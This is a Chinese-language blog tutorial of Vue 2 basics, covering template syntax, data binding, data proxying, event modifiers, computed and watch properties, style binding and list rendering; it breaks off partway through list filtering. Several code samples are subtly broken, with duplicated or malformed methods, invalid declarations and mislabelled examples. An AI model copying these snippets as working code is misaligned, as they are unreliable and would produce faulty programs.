Vue基础：万字笔记，精华总结

本篇涉及Vue的基础使用

Vue组件化编程请看 Vue进阶：组件化编程（脚手架） - 万字总结精华整理

文章目录

一、Vue介绍
二、基础引入
- 2.1 基本使用
- 2.2 模板语法
- 2.3 Vue数据绑定
- 2.4 el和data的两种写法
- 2.5 MVVM模型
- 2.6 数据代理
- - 2.6.1 Object.defineProperty
  - 2.6.2 get()和set()
  - 2.6.3 数据代理的定义
三、事件处理
- 3.1 事件基本使用
- 3.2 事件修饰符
- 3.3 键盘事件
- 3.4 计算属性 computed
四、监视属性（侦听属性） watch
- 4.1 天气案例（没用到监视属性）
- 4.2 监视属性watch（也可以监视计算属性）
- 4.3 深度监视
- 4.4 监视属性简写
- 4.5 watch 和 computed的区别
五、class和style绑定（绑定样式）
- 5.1 class绑定
- 5.2 绑定style样式
六、条件渲染
七、列表渲染
- 7.1遍历数组
- 7.2 遍历对象
- 7.3 遍历字符串（用得少）
- 7.4 遍历指定次数（使用少）
- 7.5 key的原理
- 7.6 列表过滤
- 7.7 列表排序
八、Vue检测数据改变的原理
- 8.1 更新数据时遇到的一个问题
- 8.2 Vue监测数据改变的原理–对象
- 8.3 Vue.set方法（Vue Api）
- 8.4 Vue监测数据改变的原理–数组
- 8.5 Vue数据监测总结
九、收集表单数据 v-model
十、过滤器 filters
十一、内置指令
- 11.1 v-text指令和 v-html指令
- 11.2 v-cloak指令
- 11.3 v-once指令
- 11.4 v-pre指令
十二、自定义指令 directives
- 12.1 自定义指令-函数式
- 12.2 自定义指令-对象式
- 12.3 注意点
十三、Vue的生命周期
- 13.1 生命周期流程图![在这里插入图片描述](https://img-blog.csdnimg.cn/4460f5dcbe394d3f8c26ba396b23e288.png)
- 13.2 vue 生命周期
- 13.3 引出Vue的生命周期
- 13.4 分析Vue的生命周期
- - 13.4.1 总体观察
- 13.4.2 逐个分析
- 13.5 Vue生命周期的总结
- 13.6 补充知识点 template

一、Vue介绍

动态构建用户界面的渐进式 JavaScript 框架
作者: 尤雨溪

中文官网
英文官网

二、基础引入

2.1 基本使用

<div id="root" class="demo">{{name}}  {{age}}
</div>
<script type="text/javascript" >Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示new Vue({//el:'.demo'el:'#root',data:{name: '做一只猫',age: 20}})
</script>

2.2 模板语法

Vue模板语法有2大类：

1. 插值语法：
功能：用于解析标签体内容
写法：{{xxx}}，xxx是js表达式，且可以直接读取到data中的所有属性
2. 指令语法：
功能：用于解析标签（包括：标签属性、标签体内容、绑定事件…）
举例：v-bind:href=“xxx” 或简写为 :href=“xxx”，xxx同样要写js表达式，且可以直接读取到data中的所有属性
备注：Vue中有很多的指令，且形式都是：v-???，此处我们只是拿v-bind举个例子

2.3 Vue数据绑定

Vue中有2种数据绑定的方式：

单向绑定(v-bind)：数据只能从data流向页面
双向绑定(v-model)：数据不仅能从data流向页面，还可以从页面流向data

备注：

双向绑定一般都应用在表单类元素上（如：input、select等）
v-model:value 可以简写为 v-model，因为v-model默认收集的就是value值
v-model只能应用在表单类元素（输入类元素）
表单类元素，是用户可以操作的，标题类的标签，不可以输入（没有Value值），不能捕获用户的输入，无法影响数据的变化

<!-- 准备好一个容器-->
<div id="root"><!-- 普通写法 --><!-- 单向数据绑定：<input type="text" v-bind:value="name"><br/>双向数据绑定：<input type="text" v-model:value="name"><br/> --><!-- 简写 -->单向数据绑定：<input type="text" :value="name"><br/>双向数据绑定：<input type="text" v-model="name"><br/><!-- 如下代码是错误的，因为v-model只能应用在表单类元素（输入类元素）上 --><!-- <h2 v-model:x="name">你好啊</h2> -->
</div>
<script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'Tom'}})
</script>

2.4 el和data的两种写法

1.el有2种写法
(1) new Vue时候配置el属性
(2) 先创建Vue实例，随后再通过vm.$mount(‘#root’)指定el的值

//第一种写法
new Vue({el:'#root', data:{name:'Tom'}
})
//第二种写法
Vue vm = new Vue({el:'#root', data:{name:'Tom'}
})
console.log(v)          // 输出Vue实例，不是Vue构造函数
vm.$mount('#root')
// 定时器，一秒钟后执行
setTimeout(() => {vm.$mount('#root')
},1000);

2.data有2种写法
(1) 对象式
(2) 函数式（要求：data函数必须要返回一个对象return）

//(1) 对象式
new Vue({el:'#root',//data的第一种写法：对象式data:{name:'Tom'}
})//(2) 函数式
new Vue({el:'#root',//data的第二种写法：函数式//不能是箭头函数，否则this指向windowsdata:function(){console.log('@@@',this) //data函数中 this是Vue实例对象,前提data是普通函数return{name:'Tom'}}//简写data(){console.log('@@@',this) //data函数中 this是Vue实例对象,前提data是普通函数return{name:'Tom'}}
})

如何选择：目前哪种写法都可以，以后学习到组件时，data必须使用函数式，否则会报错

3. 一个重要的原则：
由Vue管理的函数，一定不要写箭头函数，一旦写了箭头函数，this就不再是Vue实例了

Vue实例

2.5 MVVM模型

MVVM模型

M：模型(Model) ：data中的数据
V：视图(View) ：模板代码
VM：视图模型(ViewModel)：Vue实例

观察发现：

data中所有的属性，最后都出现在了vm身上
vm身上所有的属性及 Vue原型上所有属性，在Vue模板中都可以直接使用

MVVM源自于经典的MVC（Model-View-Controller）模式
MVVM的核心是ViewModel层，负责转换Model中的数据对象来让数据变得更容易管理和使用
MVVM模式和MVC模式一样，主要目的是分离视图（View）和模型（Model），有几大好处：
1. 低耦合：视图（View）可以独立于Model变化和修改，一个ViewModel可以绑定到不同的View上，当View变化的时候Model可以不变，当Model变化的时候View也可以不变
2. 可复用：你可以把一些视图逻辑放在一个Vi ewModel里面，让很多View重用这段视图逻辑
3. 独立开发：开发人员可以专注于业务逻辑和数据的开发（ViewMode），设计人员可以专注于页面设计
4. 可测试：界面素来是比较难以测试的，而现在测试可以针对ViewModel来写
View 层展现的不是 Model 层的数据，而是 ViewModel 的数据，由 ViewModel 负责与 Model层交互，获取和更新数据，这就完全解耦了View层和Model层，这个解耦是至关重要的，它是前后端分离方案实施的重要一环
在MVVM架构中，是不允许数据和视图直接通信的，只能通过ViewModel来通信，而View Model就是定义了一个Observer观察者
ViewModel能够观察到数据的变化，并对视图对应的内容进行更新
ViewModel能够监听到视图的变化，并能够通知数据发生改变
至此，我们就明白了， Vue.js就是一个MVVM的实现者，他的核心就是实现了DOM监听与数据绑定

2.6 数据代理

2.6.1 Object.defineProperty

<script type="text/javascript" >
let person = {name:'张三',sex:'男',// age: '18',}
//定义person对象的age属性
Object.defineProperty(person,'age',{// value:18,// enumerable:true,       //控制属性是否可以枚举，默认值是false// writable:true,          //控制属性是否可以被修改，默认值是false// configurable:true      //控制属性是否可以被删除，默认值是false
})
</script>

2.6.2 get()和set()

<script type="text/javascript" >let number = 18let person = {name:'张三',sex:'男',
}Object.defineProperty(person,'age',{// value:18,// enumerable:true, //控制属性是否可以枚举，默认值是false// writable:true, //控制属性是否可以被修改，默认值是false// configurable:true //控制属性是否可以被删除，默认值是false// 当有人读取person的age属性时，get函数(getter)就会被调用，且返回值就是age的值get(){console.log('有人读取age属性了')return number},// 当有人修改person的age属性时，set函数(setter)就会被调用，且会收到修改的具体值set(value){console.log('有人修改了age属性，且值是',value)number = value}
})// Object.keys() 传入一个对象做为参数,可以把传入的属性名，提取出来作为一个数组// console.log(Object.keys(person))console.log(person)
</script>

2.6.3 数据代理的定义

通过一个对象代理对另一个对象中属性的操作（读/写）

<script type="text/javascript" >let obj = {x:100}let obj2 = {y:200}
//通过obj2对象控制obj.x的读写Object.defineProperty(obj2,'x',{get(){return obj.x},set(value){obj.x = value}})
</script>

总结：```
1. Vue中的数据代理：
通过vm对象来代理data对象中属性的操作（读/写）
2.Vue中数据代理的好处：
更加方便的操作data中的数据
3.基本原理：

通过Object.defineProperty()把data对象中所有属性添加到vm上。
为每一个添加到vm上的属性，都指定一个getter/setter
在getter/setter内部去操作（读/写）data中对应的属性

<script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{name:'尚硅谷',address:'宏福科技园'}})
</script>

三、事件处理

3.1 事件基本使用

事件的基本使用：

使用v-on:xxx 或 @xxx 绑定事件，其中xxx是事件名；
事件的回调需要配置在methods对象中，最终会在vm上；
Q：放在data中也可以存放在vm上，为什么不一起放在data上?
A：因为data中的数据需要做数据代理，而methods不需要做数据代理，这样会让vm实例过度使用
methods中配置的函数，不要用箭头函数！否则this就不是vm了；
methods中配置的函数，都是被Vue所管理的函数，this的指向是vm 或组件实例对象；
@click=“demo” 和 @click=“demo($event)” 效果一致，但后者可以传参；

<div id="root"><h2>欢迎来到{{name}}学习</h2><button v-on:click="showInfo">点我提示信息</button>//$event为占位符<button @click="showInfo2($event,66)">点我提示信息2（传参）</button>
</div>
<script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{name:'Tom',},methods:{//1 不传参showInfo1(event){alert('同学你好！')//2 传参showInfo1(event){console.log(event.target.innerText)alert('同学你好！')},//3 传参和事件showInfo2(event,number){console.log(event,number)// console.log(event.target.innerText)// console.log(this) //此处的this是vmalert('同学你好！！')}
})
</script>

3.2 事件修饰符

Vue中的事件修饰符：

prevent：阻止默认事件（常用）；
stop：阻止事件冒泡（常用）；
once：事件只触发一次（常用）；
capture：使用事件的捕获模式；
self：只有event.target是当前操作的元素时才触发事件；
passive：事件的默认行为立即执行，无需等待事件回调执行完毕；

① a标签跳转阻止跳转的默认行为

<a href="https://blog.csdn.net/gh_xiaohe" @click.prevent="showInfo">点我提示信息</a>

② 阻止冒泡点击的是按钮冒泡到div身上

<div id="root"><h2>欢迎来到{{name}}学习</h2><!-- 阻止事件冒泡（常用） --><div class="demo1" @click="showInfo"><button @click.stop="showInfo">点我提示信息</button></div>
</div>

③ 事件只触发一次

<!-- 事件只触发一次（常用） -->
<button @click.once="showInfo">点我提示信息</button>

④ 使用事件的捕获模式
事件是先捕获再冒泡
不加：在冒泡阶段执行代码
加：在捕获阶段执行代码

<div id="root"><h2>欢迎来到{{name}}学习</h2><!-- 使用事件的捕获模式 --><div class="box1" @click.capture="showMsg(1)">div1<div class="box2" @click="showMsg(2)">div2</div></div>
</div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'Tom'},methods:{showMsg(msg){console.log(msg)},})
</script>

⑤ self：只有event.target是当前操作的元素时才触发事件；

<div id="root"><h2>欢迎来到{{name}}学习</h2><!-- 只有event.target是当前操作的元素时才触发事件； --><div class="demo1" @click.self="showInfo"><button @click="showInfo">点我提示信息</button></div></div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'Tom'},methods:{showInfo(e){// e.preventDefault()// 阻止默认行为  Vue中不用亲自书写alert('同学您好！')},})
</script>

⑥ passive：事件的默认行为立即执行，无需等待事件回调执行完毕；

wheel 鼠标滚轮事件，加上大数字的循环，本来是要等循环事件结束之后，才会执行滚轮事件，但是加上passive后就能在循环事件的同时执行滚轮事件

 <script type="text/javascript" src="../js/vue.js"></script><style>*{margin-top: 20px;}.list{width: 200px;height: 200px;background-color: peru;overflow: auto;}li{height: 100px;}</style>
</head>
<body><div id="root"><h2>欢迎来到{{name}}学习</h2><!-- 事件的默认行为立即执行，无需等待事件回调执行完毕； --><ul @wheel.passive="demo" class="list"><li>1</li><li>2</li><li>3</li><li>4</li></ul></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'Tom'},methods:{demo(){for (let i = 0; i < 100000; i++) {console.log('#')}console.log('累坏了')}})
</script>

⑦ 修饰符可以连续使用，用多个点连接
如：先阻止默认行为再阻止冒泡

<div class="demo1" @click="showInfo"><!-- 修饰符可以连续写 --><a href="https://blog.csdn.net/gh_xiaohe" @click.prevent.stop="showInfo">点我提示信息</a>
</div>

3.3 键盘事件

Vue中常用的按键别名：
回车 => enter
删除 => delete (捕获“删除”和“退格”键)
退出 => esc
空格 => space
换行 => tab (特殊，必须配合keydown去使用)
上 => up
下 => down
左 => left
右 => right
Vue未提供别名的按键，可以使用按键原始的key值去绑定，但注意要转为kebab-case（短横线命名）
系统修饰键（用法特殊）：ctrl、alt、shift、win
(1) 配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发。
(2) 配合keydown使用：正常触发事件。
也可以使用keyCode去指定具体的按键（不推荐）
Vue.config.keyCodes.自定义键名 = 键码，可以去定制按键别名（不推荐）

keyup 按下弹起来触发（常用）
keydoun 按下触发

判断回车 event.keycode 按键编码（key 按键）回车对应数字 13

if（e.keyCode !== 13） return Vue 中 @keyup.enter=“”

<div id="root"><h2>欢迎来到{{name}}学习</h2>//1 按下回车<input type="text" placeholder="按下回车提示输入" @keydown.enter="showInfo">//2 使用 CapsLock 切换大小写按键 多个单词使用 caps-lock//3 有些特殊的按键，无法绑定，举例：特殊键盘的控制音量键   </div>//4 top 键有些特殊 是失去焦点事件 只能配合keydown使用//5 可以使用keyCode去指定具体的按键（不推荐）不同的键盘编码可能不统一<input type="text" placeholder="按下回车提示输入" @keyup.13="showInfo">//6 Vue.config.keyCodes.自定义键名 = 键码，可以去定制按键别名 （不推荐）<input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo">//7 只用按ctrl + y 时才有效(系统修饰键 后面可以 加 按键)<input type="text" placeholder="按下回车提示输入" @keydown.ctrl.y="showInfo">
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。Vue.config.keyCodes.huiche = 13 //定义了一个别名按键new Vue({el:'#root',data:{name:'Tom'},methods: {showInfo(e){//console.log(e.key,e.keyCode)   获取 按键 名 和 按键 编码console.log(e.target.value)}},})
</script>

3.4 计算属性 computed

姓名案例
1. 插值语法实现

<div id="root">姓：<input type="text" v-model="firstName"> <br/><br/>名：<input type="text" v-model="lastName"> <br/><br/>全名：<span>{{firstName}}-{{lastName}}</span>
</div>
<script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{firstName:'张',lastName:'三'}})
</script>

2.methods实现
数据发生改变Vue一定会重写解析模板，并更新数据

<div id="root">姓：<input type="text" v-model="firstName"> <br/><br/>名：<input type="text" v-model="lastName"> <br/><br/>全名：<span>{{fullName()}}</span>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{firstName:'张',lastName:'三'},methods: {fullName(){console.log('@---fullName')return this.firstName + '-' + this.lastName}},
})
</script>

3.计算属性实现

计算属性：

定义：要用的属性不存在，要通过已有属性计算得来
原理：底层借助了Objcet.defineproperty方法提供的getter和setter
get函数什么时候执行？
(1) 初次读取时会执行一次。
(2) 当依赖的数据发生改变时会被再次调用。
优势：与methods实现相比，内部有缓存机制（复用），效率更高，调试方便
备注：
- 计算属性最终会出现在vm上，直接读取使用即可。
- 如果计算属性要被修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变

<div id="root">姓：<input type="text" v-model="firstName"> <br/><br/>名：<input type="text" v-model="lastName"> <br/><br/>全名：<span>{{fullName}}</span> <br/><br/>
</div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{firstName:'张',lastName:'三'},methods: {},computed:{fullName:{ // 计算过程配置成一个对象,里面要放到有一个get()// get有什么作用？当有人读取fullName时，get就会被调用，且返回值就作为fullName的值// get什么时候调用？// 1. 初次读取fullName时// 2. 所依赖的数据发生变化时get(){console.log('get被调用了')// console.log(this) //此处的this是vmreturn this.firstName + '-' + this.lastName},// set 不是必须写的, 如果确定数据只读,就可以不用书写set // set什么时候调用? 当fullName被修改时。set(value){console.log('set',value)// 张 - 三const arr = value.split('-')this.firstName = arr[0]this.lastName = arr[1]}}}})
</script>

3.计算属性简写(只读时可以使用)
计算属性更多的情况是不修改，呈现给用户看：

computed:{//完整写法fullName:{get(){console.log('get被调用了')return this.firstName + '-' + this.lastName},set(value){console.log('set',value)const arr = value.split('-')this.firstName = arr[0]this.lastName = arr[1]}}
}

computed:{//简写fullName(){console.log('get被调用了')return this.firstName + '-' + this.lastName}
}

四、监视属性（侦听属性） watch

immediate:true, //初始化时让handler调用一下
deep:true //深度监视

4.1 天气案例（没用到监视属性）

<div id="root"><h2>今天天气很{{info}}</h2><!-- 绑定事件的时候：@xxx="yyy" yyy可以写一些简单的语句 --><!-- <button @click="isHot = !isHot">切换天气</button> --><button @click="changeWeather">切换天气</button>
</div>
<script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{isHot:true,},computed:{info(){return this.isHot ? '炎热' : '凉爽'}},methods: {changeWeather(){this.isHot = !this.isHot}},})
</script>

4.2 监视属性watch（也可以监视计算属性）

当被监视的属性变化时, 回调函数handler自动调用, 进行相关操作
handler 有两个参数 newValue,oldValue 可选
监视的属性必须存在，才能进行监视！！
监视的两种写法：
(1) new Vue时传入watch配置
(2) 通过vm.$watch监视

//(1) new Vue时传入watch配置
<div id="root"><h2>今天天气很{{info}}</h2><button @click="changeWeather">切换天气</button>
</div>
<script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{isHot:true,},computed:{info(){return this.isHot ? '炎热' : '凉爽'}},methods: {changeWeather(){this.isHot = !this.isHot}},watch:{isHot:{immediate:true, // 初始化时让handler调用一下// handler什么时候调用？当isHot发生改变时。handler(newValue,oldValue){ // 参数：newValue,oldValue 可以查看监视前的数值,和修改后的数值console.log('isHot被修改了',newValue,oldValue)}}} })//(2) 通过vm.$watch监视// 创建完实例后  第一次参数 'isHot'：要监视的对象 , 第二个参数 配置对象 （同上）// 二者的区别：在创建时就明确监视对象方式一、不明确时方式二    vm.$watch('isHot',{immediate:true, // 初始化时让handler调用一下// handler什么时候调用？当isHot发生改变时。handler(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue)}})
</script>

4.3 深度监视

深度监视：
(1) Vue中的watch默认不监测对象内部值的改变（一层）
(2) 配置deep:true可以监测对象内部值改变（多层）
备注：
(1) Vue自身可以监测对象内部值的改变，但Vue提供的watch默认不可以
(2) 使用watch时根据数据的具体结构，决定是否采用深度监视（为了效率）

① 只监测a的变化不监测b
numbers.a会报错，应还原为最初的写法 ‘numbers .a’ , 正常的key 都是 ’ key ’ 简写 key 多个属性时 ‘key.s’ 误区

<div id="root"><h2>今天天气很{{info}}</h2><button @click="changeWeather">切换天气</button><hr/><h3>a的值是:{{numbers.a}}</h3><button @click="numbers.a++">点我让a+1</button>
</div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{isHot:true,numbers:{a:1,b:1,}},computed:{info(){return this.isHot ? '炎热' : '凉爽'}},methods: {changeWeather(){this.isHot = !this.isHot}},watch:{// 监视多级结构中某个属性的变化'numbers.a':{handler(){console.log('a被改变了')}},}
</script>

② 监视 a 和 b的变化（即监视整个number） 配置项 deep:true 开启深度监测

 methods: {changeWeather(){this.isHot = !this.isHot}},//监视多级结构中所有属性的变化numbers:{//配置deepdeep:true,handler(){console.log('numbers改变了')}}
}
})

4.4 监视属性简写

要求：不需要配置项时，可以使用简写

① watch 方式一的正常写法

watch:{//正常写法isHot:{handler(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue)}}, }

② watch 方式一的简写不允许书写成箭头函数

watch:{//简写isHot(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue,this)}
}

③ watch 方式二的正常写法

     //正常写法
vm.$watch('isHot',{handler(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue)}
})

④ watch 方式二的简写不允许书写成箭头函数

//简写
vm.$watch('isHot',function(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue,this)
})

4.5 watch 和 computed的区别

computed和watch之间的区别

computed能完成的功能，watch都可以完成
watch能完成的功能，computed不一定能完成，例如：watch可以进行异步操作

两个重要的小原则

所被Vue管理的函数，最好写成普通函数，这样this的指向才是vm 或组件实例对象
所有不被Vue所管理的函数（定时器的回调函数、ajax的回调函数等、Promise的回调函数（成功失败的回调）），最好写成箭头函数，
这样this的指向才是vm 或组件实例对象

① watch实现天气案例

<div id="root">姓：<input type="text" v-model="firstName"> <br/><br/>名：<input type="text" v-model="lastName"> <br/><br/>全名：<span>{{fullName}}</span> <br/><br/>
</div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{firstName:'张',lastName:'三',fullName:'张-三'},watch:{firstName(newValue){console.log(this)this.fullName = newValue + '-' + this.lastName},lastName(newValue){this.fullName = this.firstName + '-' + newValue}}})
</script>>

② 需要在姓名改变时，延迟1s后实现才改变全名，只能使用watch
定时器 setTimeout 所指定的函数不是 Vue 所管理的函数，要写成箭头函数

watch:{firstName(newValue){setTimeout(()=>{ // 定时器,延迟器  console.log(this)this.fullName = newValue + '-' + this.lastName},1000);},lastName(newValue){this.fullName = this.firstName + '-' + newValue}
}

③ computed计算属性不能开启异步任务
因为其实现靠的是return 返回值，此时把renturn的返回值返回给了 setTimeout，则fullName没有返回值

computed:{fullName:{setTimeout(()=>{console.log('get被调用了')return this.firstName + '-' + this.lastName},1000)}
}

五、class和style绑定（绑定样式）

绑定样式：

class样式

写法：class=“xxx” xxx可以是字符串、对象、数组
字符串写法适用于：类名不确定，要动态获取
对象写法适用于：要绑定多个样式，个数不确定，名字也不确定
数组写法适用于：要绑定多个样式，个数确定，名字也确定，但不确定用不用

style样式

:style="{fontSize: xxx}" 其中xxx是动态值
:style="[a,b]" 其中a、b是样式对象
样式对象的 key 是固定的，不能瞎写，如：red

5.1 class绑定

基本使用

<div id="root"><!-- 绑定class样式--字符串写法，适用于：样式的类名不确定，需要动态指定 --><div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>
</div><script type="text/javascript">Vue.config.productionTip = falseconst vm = new Vue({el:'#root',data:{name:'Tom',mood:'normal',},methods: {changeMood(){this.mood = 'happy'}},})
</script>

数组写法
div 初始有 basic 样式，日后可能增加样式多少个不确定

<div class="basic" :class="classArr">{{name}}</div> <br/><br/>
const vm = new Vue({el:'#root',data:{name:'Tom',mood:'normal',classArr:['text1','text2','text3'],},
})

对象写法
div 初始有 basic 样式切换text1 和 text2 （切换的个数确定，名字也确定，不确定的是到底使用不使用）

<div class="basic" :class="classObj">{{name}}</div> <br/><br/>
const vm = new Vue({el:'#root',data:{classObj:{text1:false,text2:false,},},
})

5.2 绑定style样式

① 常规写法

<div id="root"><!-- 绑定style样式--对象写法 --><div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
</div><script type="text/javascript">Vue.config.productionTip = falseconst vm = new Vue({el:'#root',data:{sytleObj:{height: 100px;weight: 100px;},},})
</script>

数组写法（很少用）

<div id="root"><!-- 绑定style样式--数组写法 -->// 方法1 两个对象用数组引用<div class="basic" :style="[styleObj,styleObj2]">{{name}}</div>// 方法2 在定义时就将两个对象定义为一个数组<div class="basic" :style="[styleArr]">{{name}}</div></div><script type="text/javascript">Vue.config.productionTip = falseconst vm = new Vue({el:'#root',data:{// 方法1styleObj:{fontSize: '40px',color:'red',},styleObj2:{backgroundColor:'orange' // 背景颜色},// 方法2styleArr:[{fontSize: '40px',color:'blue',},{backgroundColor:'gray'}]},})
</script>

六、条件渲染

条件渲染：

v-show

写法：v-show=“表达式”
适用于：切换频率较高的场景。
特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉

v-if

写法：
(1) v-if=“表达式”
(2) v-else-if=“表达式”
(3) v-else=“表达式”
适用于：切换频率较低的场景
特点：不展示的DOM元素直接被移除
注意：v-if可以和:v-else-if、v-else一起使用，但要求结构不能被“打断”。

备注：使用v-if的时，元素可能无法获取到，而使用v-show一定可以获取到

① 让div 隐藏 v-show

不仅可以可以写 boolean 值 v-show=“false”
也可以写表达式用表达式的结果来进行判断 v-show=“1 === 1”
此时结构存在但是不显示

<div id="root"><!-- 使用v-show做条件渲染 --><h2 v-show="false">欢迎来到{{name}}</h2><h2 v-show="1 === 1">欢迎来到{{name}}</h2>
</div>
<script type="text/javascript">Vue.config.productionTip = falseconst vm = new Vue({el:'#root',data:{name:'Tom',n:0}})
</script>

② 使用 v-if进行条件渲染

<div id="root"><!-- 使用v-if做条件渲染 --><h2 v-if="false">欢迎来到{{name}}</h2><h2 v-if="1 === 1">欢迎来到{{name}}</h2><!-- v-else和v-else-if --><div v-if="n === 1">Angular</div><div v-else-if="n === 2">React</div><div v-else-if="n === 3">Vue</div><div v-else>哈哈</div>
</div>

③ v-if与template的配合使用

<template v-if="n === 1">    <h2>你好</h2><h2>Tom</h2><h2>北京</h2>
</template>

七、列表渲染

v-for指令:

用于展示列表数据
语法：v-for=“(item, index) in xxx” :key=“yyy”
可遍历：数组、对象、字符串（用的很少）、指定次数（用的很少）

7.1遍历数组

① 接受一个参数

<div id="root"><!-- 遍历数组 --><ul><li v-for="p in persons" :key="p.id">{{p.name}}-{{p.age}}</li></ul>
</div>
<script type="text/javascript">Vue.config.productionTip = falsenew Vue({el:'#root',data:{persons:[{id:'001',name:'张三',age:18},{id:'002',name:'李四',age:19},{id:'003',name:'王五',age:20}],}})
</script>

② 接受两个参数

<!-- 遍历数组 -->
<h2>人员列表（遍历数组）</h2>
<ul><li v-for="(p,index) in persons" :key="index">{{p.name}}-{{p.age}}</li>
</ul>

7.2 遍历对象

<div id="root"><!-- 遍历字符串 --><h2>测试遍历字符串（用得少）</h2><ul><li v-for="(char,index) in str" :key="index">{{char}}-{{index}}</li></ul>
</div>new Vue({el:'#root',data:{car:{name:'奥迪A8',price:'70万',color:'黑色'},}})

7.3 遍历字符串（用得少）

<div id="root"><!-- 遍历字符串 --><h2>测试遍历字符串（用得少）</h2><ul><li v-for="(char,index) in str" :key="index">{{char}}-{{index}}</li></ul>
</div>new Vue({el:'#root',data:{str:'hello'}})

7.4 遍历指定次数（使用少）

<!-- 遍历指定次数 -->
<h2>测试遍历指定次数（用得少）</h2>
<ul><li v-for="(number,index) in 5" :key="index">{{index}}-{{number}}</li>
</ul>

7.5 key的原理

面试题：react、vue中的key有什么作用？（key的内部原理）

虚拟DOM中key的作用：
key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】,
随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下：
diff算法对比规则：
(1)旧虚拟DOM中找到了与新虚拟DOM相同的key：
- 若虚拟DOM中内容没变, 直接使用之前的真实DOM
- 若虚拟DOM中内容变了, 则生成新的真实DOM，随后替换掉页面中之前的真实DOM。
(2) 旧虚拟DOM中未找到与新虚拟DOM相同的key
创建新的真实DOM，随后渲染到到页面
用index作为key可能会引发的问题：
- 若对数据进行：逆序添加、逆序删除等破坏顺序操作:
  会产生没有必要的真实DOM更新 ==> 界面效果没问题，但效率低（因为要对后续的dom重新新建）
如果结构中还包含输入类的DOM：
会产生错误DOM更新 ==> 界面有问题
开发中如何选择key:
- 最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值
- 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，
  使用index作为key是没有问题的
- 不写key值时，Vue会把的索引值inxdex自动作为key

例子引入 - 数组中添加一个老刘
添加的位置在数组的前面，会出现问题（索引为0，索引后移）；添加在数组的后面不会出现问题

<div id="root"><!-- 遍历数组 --><h2>人员列表（遍历数组）</h2><!-- @click.once 只点击一次 -->    <button @click.once="add">添加一个老刘</button><ul><li v-for="(p,index) in persons" :key="index">{{p.name}}-{{p.age}}<input type="text"></li></ul>
</div><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el:'#root',data:{persons:[{id:'001',name:'张三',age:18},{id:'002',name:'李四',age:19},{id:'003',name:'王五',age:20}]},methods: {add(){const p = {id:'004',name:'老刘',age:40}this.persons.unshift(p)}},})
</script>

问题： 看起来好像老刘-40把张三-18顶下去了

解决方法： 使用 p.id 作为key

<div id="root"><!-- 遍历数组 --><h2>人员列表（遍历数组）</h2><!-- @click.once 只点击一次 -->    <button @click.once="add">添加一个老刘</button><ul><li v-for="(p,index) in persons" :key="p.id">{{p.name}}-{{p.age}}<input type="text"></li></ul>
</div>

虚拟Dom的对比算法

index作为key产生的问题
1.diff首先对比生成的两个虚拟DOM 张三-18 和老刘-30，发现不同，打个X
2.再对比两个input，发现相同打个X
3.再用相同的方法把三行都对比后，开始生成新的真实DOM
4.在这个新的真实DOM里，老刘-30是新的，但是input是沿用原来的，所以输入框内容包含“张三-18”
5.生成最后一个王五-20的时候，生成的input是新的，所以输入框内容为空

id作为key的作用
1.同样是对比两个虚拟DOM，但这一次有任何一个不同，内容都不会沿用
2.对比第一行，老刘-30 和张三-18不同，在创建新的DOM时，直接创建新的内容即老刘-30 空白input
3.对比其他行，都一样，所以都引用的原来的呢日用

7.6 列表过滤

1.watch方法过滤（少用）

//收集用户所输入的数据 v-model
<div id="root"><h2>人员列表</h2><input type="text" placeholder="请输入名字" v-model="keyWord"><ul><li v-for="(p,index) of filPerons" :key="index">{{p.name}}-{{p.age}}-{{p.sex}}</li></ul>
